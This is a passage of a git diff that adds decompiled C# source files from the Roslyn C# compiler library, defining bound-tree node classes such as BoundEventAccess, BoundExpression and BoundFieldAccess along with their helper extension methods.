IsUsableAsField { get; } + + public override LookupResultKind ResultKind { get; } + + public BoundEventAccess(SyntaxNode syntax, BoundExpression? receiverOpt, EventSymbol eventSymbol, bool isUsableAsField, LookupResultKind resultKind, TypeSymbol type, bool hasErrors = false) + : base(BoundKind.EventAccess, syntax, type, hasErrors || receiverOpt.HasErrors()) + { + ReceiverOpt = receiverOpt; + EventSymbol = eventSymbol; + IsUsableAsField = isUsableAsField; + ResultKind = resultKind; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitEventAccess(this); + } + + public BoundEventAccess Update(BoundExpression? receiverOpt, EventSymbol eventSymbol, bool isUsableAsField, LookupResultKind resultKind, TypeSymbol type) + { + if (receiverOpt != ReceiverOpt || !SymbolEqualityComparer.ConsiderEverything.Equals(eventSymbol, EventSymbol) || isUsableAsField != IsUsableAsField || resultKind != ResultKind || !TypeSymbol.Equals(type, Type, (TypeCompareKind)0)) + { + BoundEventAccess boundEventAccess = new BoundEventAccess(Syntax, receiverOpt, eventSymbol, isUsableAsField, resultKind, type, base.HasErrors); + boundEventAccess.CopyAttributes(this); + return boundEventAccess; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundEventAssignmentOperator.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundEventAssignmentOperator.cs new file mode 100644 index 0000000..8615fff --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundEventAssignmentOperator.cs @@ -0,0 +1,46 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundEventAssignmentOperator : BoundExpression +{ + public new TypeSymbol Type => base.Type; + + public EventSymbol Event { get; } + + public bool IsAddition { get; } + + public bool IsDynamic { get; } + + public BoundExpression? ReceiverOpt { get; } + + public BoundExpression Argument { get; } + + public BoundEventAssignmentOperator(SyntaxNode syntax, EventSymbol @event, bool isAddition, bool isDynamic, BoundExpression? receiverOpt, BoundExpression argument, TypeSymbol type, bool hasErrors = false) + : base(BoundKind.EventAssignmentOperator, syntax, type, hasErrors || receiverOpt.HasErrors() || argument.HasErrors()) + { + Event = @event; + IsAddition = isAddition; + IsDynamic = isDynamic; + ReceiverOpt = receiverOpt; + Argument = argument; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitEventAssignmentOperator(this); + } + + public BoundEventAssignmentOperator Update(EventSymbol @event, bool isAddition, bool isDynamic, BoundExpression? receiverOpt, BoundExpression argument, TypeSymbol type) + { + if (!SymbolEqualityComparer.ConsiderEverything.Equals(@event, Event) || isAddition != IsAddition || isDynamic != IsDynamic || receiverOpt != ReceiverOpt || argument != Argument || !TypeSymbol.Equals(type, Type, (TypeCompareKind)0)) + { + BoundEventAssignmentOperator boundEventAssignmentOperator = new BoundEventAssignmentOperator(Syntax, @event, isAddition, isDynamic, receiverOpt, argument, type, base.HasErrors); + boundEventAssignmentOperator.CopyAttributes(this); + return boundEventAssignmentOperator; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundExpression.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundExpression.cs new file mode 100644 index 0000000..f0de5fc --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundExpression.cs @@ -0,0 +1,125 @@ +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CSharp.Syntax; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal abstract class BoundExpression : BoundNode +{ + public SimpleNameSyntax? InterceptableNameSyntax + { + get + { + if (base.WasCompilerGenerated || !(Syntax is InvocationExpressionSyntax invocationExpressionSyntax)) + { + return null; + } + ExpressionSyntax expression = invocationExpressionSyntax.Expression; + if (!(expression is MemberAccessExpressionSyntax memberAccessExpressionSyntax)) + { + if (expression is SimpleNameSyntax result) + { + return result; + } + return null; + } + return memberAccessExpressionSyntax.Name; + } + } + + public virtual ConstantValue? ConstantValueOpt => null; + + public virtual Symbol? ExpressionSymbol => null; + + public virtual LookupResultKind ResultKind => LookupResultKind.Viable; + + public virtual bool SuppressVirtualCalls => false; + + public new NullabilityInfo TopLevelNullability + { + get + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return base.TopLevelNullability; + } + set + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + base.TopLevelNullability = value; + } + } + + public virtual bool IsEquivalentToThisReference => false; + + public virtual object Display => Type; + + public TypeSymbol? Type { get; } + + internal BoundExpression WithSuppression(bool suppress = true) + { + if (base.IsSuppressed == suppress) + { + return this; + } + BoundExpression obj = (BoundExpression)MemberwiseClone(); + obj.IsSuppressed = suppress; + return obj; + } + + internal BoundExpression WithWasConverted() + { + return this; + } + + internal new BoundExpression WithHasErrors() + { + return (BoundExpression)base.WithHasErrors(); + } + + internal bool NeedsToBeConverted() + { + switch (base.Kind) + { + case BoundKind.UnconvertedConditionalOperator: + case BoundKind.DefaultLiteral: + case BoundKind.UnconvertedSwitchExpression: + case BoundKind.UnconvertedObjectCreationExpression: + case BoundKind.UnconvertedCollectionExpression: + case BoundKind.TupleLiteral: + case BoundKind.UnconvertedInterpolatedString: + return true; + case BoundKind.StackAllocArrayCreation: + return (object)Type == null; + case BoundKind.BinaryOperator: + return ((BoundBinaryOperator)this).IsUnconvertedInterpolatedStringAddition; + default: + return false; + } + } + + public ITypeSymbol? GetPublicTypeSymbol() + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + TypeSymbol? type = Type; + if ((object)type == null) + { + return null; + } + NullabilityInfo topLevelNullability = TopLevelNullability; + return type.GetITypeSymbol(NullableFlowStateExtensions.ToAnnotation(((NullabilityInfo)(ref topLevelNullability)).FlowState)); + } + + protected BoundExpression(BoundKind kind, SyntaxNode syntax, TypeSymbol? type, bool hasErrors) + : base(kind, syntax, hasErrors) + { + Type = type; + } + + protected BoundExpression(BoundKind kind, SyntaxNode syntax, TypeSymbol? type) + : base(kind, syntax) + { + Type = type; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundExpressionExtensions.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundExpressionExtensions.cs new file mode 100644 index 0000000..bc2d158 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundExpressionExtensions.cs @@ -0,0 +1,381 @@ +using System.Collections.Immutable; +using System.Diagnostics.CodeAnalysis; +using System.Linq; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal static class BoundExpressionExtensions +{ + public static RefKind GetRefKind(this BoundExpression node) + { + //IL_0099: Unknown result type (might be due to invalid IL or missing references) + //IL_0066: Unknown result type (might be due to invalid IL or missing references) + //IL_0077: Unknown result type (might be due to invalid IL or missing references) + //IL_0088: Unknown result type (might be due to invalid IL or missing references) + //IL_00aa: Unknown result type (might be due to invalid IL or missing references) + //IL_00bb: Unknown result type (might be due to invalid IL or missing references) + //IL_00cc: Unknown result type (might be due to invalid IL or missing references) + //IL_0140: Unknown result type (might be due to invalid IL or missing references) + //IL_0145: Unknown result type (might be due to invalid IL or missing references) + //IL_00e2: Unknown result type (might be due to invalid IL or missing references) + //IL_00e7: Unknown result type (might be due to invalid IL or missing references) + //IL_00e8: Unknown result type (might be due to invalid IL or missing references) + //IL_00ee: Invalid comparison between Unknown and I4 + //IL_0180: Unknown result type (might be due to invalid IL or missing references) + //IL_014b: Unknown result type (might be due to invalid IL or missing references) + //IL_0150: Unknown result type (might be due to invalid IL or missing references) + //IL_00f0: Unknown result type (might be due to invalid IL or missing references) + //IL_00f6: Invalid comparison between Unknown and I4 + //IL_0155: Unknown result type (might be due to invalid IL or missing references) + //IL_016b: Unknown result type (might be due to invalid IL or missing references) + switch (node.Kind) + { + case BoundKind.Local: + return ((BoundLocal)node).LocalSymbol.RefKind; + case BoundKind.Parameter: + return ((BoundParameter)node).ParameterSymbol.RefKind; + case BoundKind.FieldAccess: + return ((BoundFieldAccess)node).FieldSymbol.RefKind; + case BoundKind.Call: + return ((BoundCall)node).Method.RefKind; + case BoundKind.PropertyAccess: + return ((BoundPropertyAccess)node).PropertySymbol.RefKind; + case BoundKind.IndexerAccess: + return ((BoundIndexerAccess)node).Indexer.RefKind; + case BoundKind.ImplicitIndexerAccess: + return ((BoundImplicitIndexerAccess)node).IndexerOrSliceAccess.GetRefKind(); + case BoundKind.InlineArrayAccess: + { + BoundInlineArrayAccess boundInlineArrayAccess = (BoundInlineArrayAccess)node; + if (!boundInlineArrayAccess.IsValue) + { + WellKnownMember getItemOrSliceHelper = boundInlineArrayAccess.GetItemOrSliceHelper; + if ((int)getItemOrSliceHelper == 400) + { + return (RefKind)1; + } + if ((int)getItemOrSliceHelper == 406) + { + return (RefKind)3; + } + } + return (RefKind)0; + } + case BoundKind.ObjectInitializerMember: + { + BoundObjectInitializerMember boundObjectInitializerMember = (BoundObjectInitializerMember)node; + if (boundObjectInitializerMember.HasErrors) + { + return (RefKind)0; + } + Symbol memberSymbol = boundObjectInitializerMember.MemberSymbol; + if (!(memberSymbol is FieldSymbol { RefKind: var refKind })) + { + if (!(memberSymbol is PropertySymbol { RefKind: var refKind2 })) + { + if (memberSymbol is EventSymbol) + { + return (RefKind)0; + } + throw ExceptionUtilities.UnexpectedValue((object)memberSymbol?.Kind); + } + return refKind2; + } + return refKind; + } + default: + return (RefKind)0; + } + } + + public static bool IsLiteralNull(this BoundExpression node) + { + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Invalid comparison between Unknown and I4 + if (node != null && node.Kind == BoundKind.Literal) + { + ConstantValue constantValueOpt = node.ConstantValueOpt; + if (constantValueOpt != null) + { + return (int)constantValueOpt.Discriminator == 0; + } + } + return false; + } + + public static bool IsLiteralDefault(this BoundExpression node) + { + return node.Kind == BoundKind.DefaultLiteral; + } + + public static bool IsImplicitObjectCreation(this BoundExpression node) + { + return node.Kind == BoundKind.UnconvertedObjectCreationExpression; + } + + public static bool IsLiteralDefaultOrImplicitObjectCreation(this BoundExpression node) + { + if (!node.IsLiteralDefault()) + { + return node.IsImplicitObjectCreation(); + } + return true; + } + + public static bool IsDefaultValue(this BoundExpression node) + { + if (node.Kind == BoundKind.DefaultExpression || node.Kind == BoundKind.DefaultLiteral) + { + return true; + } + ConstantValue constantValueOpt = node.ConstantValueOpt; + if (constantValueOpt != (ConstantValue)null) + { + return constantValueOpt.IsDefaultValue; + } + return false; + } + + public static bool HasExpressionType(this BoundExpression node) + { + return (object)node.Type != null; + } + + public static bool HasDynamicType(this BoundExpression node) + { + return node.Type?.IsDynamic() ?? false; + } + + public static NamedTypeSymbol? GetInferredDelegateType(this BoundExpression expr, ref CompoundUseSiteInfo useSiteInfo) + { + NamedTypeSymbol? obj = expr.GetFunctionType()?.GetInternalDelegateType(); + if ((object)obj != null) + { + obj.AddUseSiteInfo(ref useSiteInfo); + return obj; + } + return obj; + } + + public static TypeSymbol? GetTypeOrFunctionType(this BoundExpression expr) + { + TypeSymbol type = expr.Type; + if ((object)type != null) + { + return type; + } + return expr.GetFunctionType(); + } + + public static FunctionTypeSymbol? GetFunctionType(this BoundExpression expr) + { + if (!(expr is BoundMethodGroup boundMethodGroup)) + { + if (expr is UnboundLambda unboundLambda) + { + return unboundLambda.FunctionType; + } + return null; + } + return boundMethodGroup.FunctionType; + } + + public static bool MethodGroupReceiverIsDynamic(this BoundMethodGroup node) + { + if (node.InstanceOpt != null) + { + return node.InstanceOpt.HasDynamicType(); + } + return false; + } + + public static void GetExpressionSymbols(this BoundExpression node, ArrayBuilder symbols, BoundNode parent, Binder binder) + { + switch (node.Kind) + { + case BoundKind.MethodGroup: + if (parent is BoundDelegateCreationExpression { MethodOpt: not null } boundDelegateCreationExpression) + { + symbols.Add((Symbol)boundDelegateCreationExpression.MethodOpt); + } + else + { + symbols.AddRange(CSharpSemanticModel.GetReducedAndFilteredMethodGroupSymbols(binder, (BoundMethodGroup)node)); + } + return; + case BoundKind.BadExpression: + { + ImmutableArray.Enumerator enumerator = ((BoundBadExpression)node).Symbols.GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + if ((object)current != null) + { + symbols.Add(current); + } + } + return; + } + case BoundKind.DelegateCreationExpression: + { + Symbol symbol = ((BoundDelegateCreationExpression)node).Type.GetMembers(".ctor").FirstOrDefault(); + if ((object)symbol != null) + { + symbols.Add(symbol); + } + return; + } + case BoundKind.Call: + { + ImmutableArray originalMethodsOpt = ((BoundCall)node).OriginalMethodsOpt; + if (!originalMethodsOpt.IsDefault) + { + symbols.AddRange(originalMethodsOpt); + return; + } + break; + } + case BoundKind.IndexerAccess: + { + ImmutableArray originalIndexersOpt = ((BoundIndexerAccess)node).OriginalIndexersOpt; + if (!originalIndexersOpt.IsDefault) + { + symbols.AddRange(originalIndexersOpt); + return; + } + break; + } + } + Symbol expressionSymbol = node.ExpressionSymbol; + if ((object)expressionSymbol != null) + { + symbols.Add(expressionSymbol); + } + } + + public static Conversion GetConversion(this BoundExpression boundNode) + { + if (boundNode.Kind == BoundKind.Conversion) + { + return ((BoundConversion)boundNode).Conversion; + } + return Conversion.Identity; + } + + internal static bool IsExpressionOfComImportType([NotNullWhen(true)] this BoundExpression? expressionOpt) + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Invalid comparison between Unknown and I4 + if (expressionOpt == null) + { + return false; + } + if (expressionOpt.Type is NamedTypeSymbol namedTypeSymbol && (int)namedTypeSymbol.Kind == 11) + { + return namedTypeSymbol.IsComImport; + } + return false; + } + + internal static bool IsDiscardExpression(this BoundExpression expr) + { + if (!(expr is BoundDiscardExpression)) + { + if (expr is OutDeconstructVarPendingInference outDeconstructVarPendingInference) + { + if (outDeconstructVarPendingInference.IsDiscardExpression) + { + return true; + } + } + else if (expr is BoundDeconstructValuePlaceholder { IsDiscardExpression: not false }) + { + return true; + } + return false; + } + return true; + } + + public static bool NullableAlwaysHasValue(this BoundExpression expr) + { + if ((object)expr.Type == null) + { + return false; + } + if (expr.Type.IsDynamic()) + { + return false; + } + if (!expr.Type.IsNullableType()) + { + return true; + } + if (expr.Kind == BoundKind.ObjectCreationExpression) + { + return ((BoundObjectCreationExpression)expr).Constructor.ParameterCount != 0; + } + if (expr.Kind == BoundKind.Conversion) + { + BoundConversion boundConversion = (BoundConversion)expr; + switch (boundConversion.ConversionKind) + { + case ConversionKind.ImplicitNullable: + case ConversionKind.ExplicitNullable: + return boundConversion.Operand.NullableAlwaysHasValue(); + case ConversionKind.ImplicitEnumeration: + return boundConversion.Operand.NullableAlwaysHasValue(); + } + } + return false; + } + + public static bool NullableNeverHasValue(this BoundExpression expr) + { + if ((object)expr.Type == null && expr.ConstantValueOpt == ConstantValue.Null) + { + return true; + } + if ((object)expr.Type == null || !expr.Type.IsNullableType()) + { + return false; + } + if (expr is BoundDefaultLiteral || expr is BoundDefaultExpression) + { + return true; + } + if (expr.Kind == BoundKind.ObjectCreationExpression) + { + return ((BoundObjectCreationExpression)expr).Constructor.ParameterCount == 0; + } + if (expr.Kind == BoundKind.Conversion) + { + BoundConversion boundConversion = (BoundConversion)expr; + switch (boundConversion.ConversionKind) + { + case ConversionKind.NullLiteral: + return true; + case ConversionKind.DefaultLiteral: + return true; + case ConversionKind.ImplicitNullable: + case ConversionKind.ExplicitNullable: + return boundConversion.Operand.NullableNeverHasValue(); + } + } + return false; + } + + public static bool IsNullableNonBoolean(this BoundExpression expr) + { + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Invalid comparison between Unknown and I4 + if (expr.Type.IsNullableType() && (int)expr.Type.GetNullableUnderlyingType().SpecialType != 7) + { + return true; + } + return false; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundExpressionStatement.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundExpressionStatement.cs new file mode 100644 index 0000000..ddf5cf6 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundExpressionStatement.cs @@ -0,0 +1,31 @@ +using System.Diagnostics; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundExpressionStatement : BoundStatement +{ + public BoundExpression Expression { get; } + + public BoundExpressionStatement(SyntaxNode syntax, BoundExpression expression, bool hasErrors = false) + : base(BoundKind.ExpressionStatement, syntax, hasErrors || expression.HasErrors()) + { + Expression = expression; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitExpressionStatement(this); + } + + public BoundExpressionStatement Update(BoundExpression expression) + { + if (expression != Expression) + { + BoundExpressionStatement boundExpressionStatement = new BoundExpressionStatement(Syntax, expression, base.HasErrors); + boundExpressionStatement.CopyAttributes(this); + return boundExpressionStatement; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundExpressionWithNullability.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundExpressionWithNullability.cs new file mode 100644 index 0000000..3f5c0f6 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundExpressionWithNullability.cs @@ -0,0 +1,43 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundExpressionWithNullability : BoundExpression +{ + public BoundExpression Expression { get; } + + public new TypeSymbol? Type => base.Type; + + public NullableAnnotation NullableAnnotation { get; } + + public BoundExpressionWithNullability(SyntaxNode syntax, BoundExpression expression, NullableAnnotation nullableAnnotation, TypeSymbol? type) + : this(syntax, expression, nullableAnnotation, type, false) + { + base.IsSuppressed = expression.IsSuppressed; + } + + public BoundExpressionWithNullability(SyntaxNode syntax, BoundExpression expression, NullableAnnotation nullableAnnotation, TypeSymbol? type, bool hasErrors = false) + : base(BoundKind.ExpressionWithNullability, syntax, type, hasErrors || expression.HasErrors()) + { + Expression = expression; + NullableAnnotation = nullableAnnotation; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitExpressionWithNullability(this); + } + + public BoundExpressionWithNullability Update(BoundExpression expression, NullableAnnotation nullableAnnotation, TypeSymbol? type) + { + if (expression != Expression || nullableAnnotation != NullableAnnotation || !TypeSymbol.Equals(type, Type, (TypeCompareKind)0)) + { + BoundExpressionWithNullability boundExpressionWithNullability = new BoundExpressionWithNullability(Syntax, expression, nullableAnnotation, type, base.HasErrors); + boundExpressionWithNullability.CopyAttributes(this); + return boundExpressionWithNullability; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundExtractedFinallyBlock.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundExtractedFinallyBlock.cs new file mode 100644 index 0000000..6c89d00 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundExtractedFinallyBlock.cs @@ -0,0 +1,31 @@ +using System.Diagnostics; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundExtractedFinallyBlock : BoundStatement +{ + public BoundBlock FinallyBlock { get; } + + public BoundExtractedFinallyBlock(SyntaxNode syntax, BoundBlock finallyBlock, bool hasErrors = false) + : base(BoundKind.ExtractedFinallyBlock, syntax, hasErrors || finallyBlock.HasErrors()) + { + FinallyBlock = finallyBlock; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitExtractedFinallyBlock(this); + } + + public BoundExtractedFinallyBlock Update(BoundBlock finallyBlock) + { + if (finallyBlock != FinallyBlock) + { + BoundExtractedFinallyBlock boundExtractedFinallyBlock = new BoundExtractedFinallyBlock(Syntax, finallyBlock, base.HasErrors); + boundExtractedFinallyBlock.CopyAttributes(this); + return boundExtractedFinallyBlock; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundFieldAccess.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundFieldAccess.cs new file mode 100644 index 0000000..14cd602 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundFieldAccess.cs @@ -0,0 +1,95 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundFieldAccess : BoundExpression +{ + public override Symbol? ExpressionSymbol => FieldSymbol; + + public new TypeSymbol Type => base.Type; + + public BoundExpression? ReceiverOpt { get; } + + public FieldSymbol FieldSymbol { get; } + + public override ConstantValue? ConstantValueOpt { get; } + + public override LookupResultKind ResultKind { get; } + + public bool IsByValue { get; } + + public bool IsDeclaration { get; } + + public BoundFieldAccess(SyntaxNode syntax, BoundExpression? receiver, FieldSymbol fieldSymbol, ConstantValue? constantValueOpt, bool hasErrors = false) + : this(syntax, receiver, fieldSymbol, constantValueOpt, LookupResultKind.Viable, fieldSymbol.Type, hasErrors) + { + } + + public BoundFieldAccess(SyntaxNode syntax, BoundExpression? receiver, FieldSymbol fieldSymbol, ConstantValue? constantValueOpt, LookupResultKind resultKind, TypeSymbol type, bool hasErrors = false) + : this(syntax, receiver, fieldSymbol, constantValueOpt, resultKind, NeedsByValueFieldAccess(receiver, fieldSymbol), isDeclaration: false, type, hasErrors) + { + } + + public BoundFieldAccess(SyntaxNode syntax, BoundExpression? receiver, FieldSymbol fieldSymbol, ConstantValue? constantValueOpt, LookupResultKind resultKind, bool isDeclaration, TypeSymbol type, bool hasErrors = false) + : this(syntax, receiver, fieldSymbol, constantValueOpt, resultKind, NeedsByValueFieldAccess(receiver, fieldSymbol), isDeclaration, type, hasErrors) + { + } + + public BoundFieldAccess Update(BoundExpression? receiver, FieldSymbol fieldSymbol, ConstantValue? constantValueOpt, LookupResultKind resultKind, TypeSymbol typeSymbol) + { + return Update(receiver, fieldSymbol, constantValueOpt, resultKind, IsByValue, IsDeclaration, typeSymbol); + } + + private static bool NeedsByValueFieldAccess(BoundExpression? receiver, FieldSymbol fieldSymbol) + { + if (fieldSymbol.IsStatic || !fieldSymbol.ContainingType.IsValueType || receiver == null) + { + return false; + } + switch (receiver.Kind) + { + case BoundKind.FieldAccess: + return ((BoundFieldAccess)receiver).IsByValue; + case BoundKind.Local: + { + LocalSymbol localSymbol = ((BoundLocal)receiver).LocalSymbol; + if (!localSymbol.IsWritableVariable) + { + return !localSymbol.IsRef; + } + return false; + } + default: + return false; + } + } + + public BoundFieldAccess(SyntaxNode syntax, BoundExpression? receiverOpt, FieldSymbol fieldSymbol, ConstantValue? constantValueOpt, LookupResultKind resultKind, bool isByValue, bool isDeclaration, TypeSymbol type, bool hasErrors = false) + : base(BoundKind.FieldAccess, syntax, type, hasErrors || receiverOpt.HasErrors()) + { + ReceiverOpt = receiverOpt; + FieldSymbol = fieldSymbol; + ConstantValueOpt = constantValueOpt; + ResultKind = resultKind; + IsByValue = isByValue; + IsDeclaration = isDeclaration; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitFieldAccess(this); + } + + public BoundFieldAccess Update(BoundExpression? receiverOpt, FieldSymbol fieldSymbol, ConstantValue? constantValueOpt, LookupResultKind resultKind, bool isByValue, bool isDeclaration, TypeSymbol type) + { + if (receiverOpt != ReceiverOpt || !SymbolEqualityComparer.ConsiderEverything.Equals(fieldSymbol, FieldSymbol) || constantValueOpt != ConstantValueOpt || resultKind != ResultKind || isByValue != IsByValue || isDeclaration != IsDeclaration || !TypeSymbol.Equals(type, Type, (TypeCompareKind)0)) + { + BoundFieldAccess boundFieldAccess = new BoundFieldAccess(Syntax, receiverOpt, fieldSymbol, constantValueOpt, resultKind, isByValue, isDeclaration, type, base.HasErrors); + boundFieldAccess.CopyAttributes(this); + return boundFieldAccess; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundFieldEqualsValue.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundFieldEqualsValue.cs new file mode 100644 index 0000000..a413311 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundFieldEqualsValue.cs @@ -0,0 +1,33 @@ +using System.Collections.Immutable; +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundFieldEqualsValue : BoundEqualsValue +{ + public FieldSymbol Field { get; } + + public BoundFieldEqualsValue(SyntaxNode syntax, FieldSymbol field, ImmutableArray locals, BoundExpression value, bool hasErrors = false) + : base(BoundKind.FieldEqualsValue, syntax, locals, value, hasErrors || value.HasErrors()) + { + Field = field; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitFieldEqualsValue(this); + } + + public BoundFieldEqualsValue Update(FieldSymbol field, ImmutableArray locals, BoundExpression value) + { + if (!SymbolEqualityComparer.ConsiderEverything.Equals(field, Field) || locals != base.Locals || value != base.Value) + { + BoundFieldEqualsValue boundFieldEqualsValue = new BoundFieldEqualsValue(Syntax, field, locals, value, base.HasErrors); + boundFieldEqualsValue.CopyAttributes(this); + return boundFieldEqualsValue; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundFieldInfo.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundFieldInfo.cs new file mode 100644 index 0000000..bcd55ee --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundFieldInfo.cs @@ -0,0 +1,44 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundFieldInfo : BoundExpression +{ + public new TypeSymbol Type => base.Type; + + public FieldSymbol Field { get; } + + public MethodSymbol? GetFieldFromHandle { get; } + + public BoundFieldInfo(SyntaxNode syntax, FieldSymbol field, MethodSymbol? getFieldFromHandle, TypeSymbol type, bool hasErrors) + : base(BoundKind.FieldInfo, syntax, type, hasErrors) + { + Field = field; + GetFieldFromHandle = getFieldFromHandle; + } + + public BoundFieldInfo(SyntaxNode syntax, FieldSymbol field, MethodSymbol? getFieldFromHandle, TypeSymbol type) + : base(BoundKind.FieldInfo, syntax, type) + { + Field = field; + GetFieldFromHandle = getFieldFromHandle; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitFieldInfo(this); + } + + public BoundFieldInfo Update(FieldSymbol field, MethodSymbol? getFieldFromHandle, TypeSymbol type) + { + if (!SymbolEqualityComparer.ConsiderEverything.Equals(field, Field) || !SymbolEqualityComparer.ConsiderEverything.Equals(getFieldFromHandle, GetFieldFromHandle) || !TypeSymbol.Equals(type, Type, (TypeCompareKind)0)) + { + BoundFieldInfo boundFieldInfo = new BoundFieldInfo(Syntax, field, getFieldFromHandle, type, base.HasErrors); + boundFieldInfo.CopyAttributes(this); + return boundFieldInfo; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundFixedLocalCollectionInitializer.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundFixedLocalCollectionInitializer.cs new file mode 100644 index 0000000..0a7c951 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundFixedLocalCollectionInitializer.cs @@ -0,0 +1,49 @@ +using System.Collections.Immutable; +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundFixedLocalCollectionInitializer : BoundExpression +{ + protected override ImmutableArray Children => ImmutableArray.Create((BoundNode)Expression); + + public new TypeSymbol Type => base.Type; + + public TypeSymbol ElementPointerType { get; } + + public BoundValuePlaceholder? ElementPointerPlaceholder { get; } + + public BoundExpression? ElementPointerConversion { get; } + + public BoundExpression Expression { get; } + + public MethodSymbol? GetPinnableOpt { get; } + + public BoundFixedLocalCollectionInitializer(SyntaxNode syntax, TypeSymbol elementPointerType, BoundValuePlaceholder? elementPointerPlaceholder, BoundExpression? elementPointerConversion, BoundExpression expression, MethodSymbol? getPinnableOpt, TypeSymbol type, bool hasErrors = false) + : base(BoundKind.FixedLocalCollectionInitializer, syntax, type, hasErrors 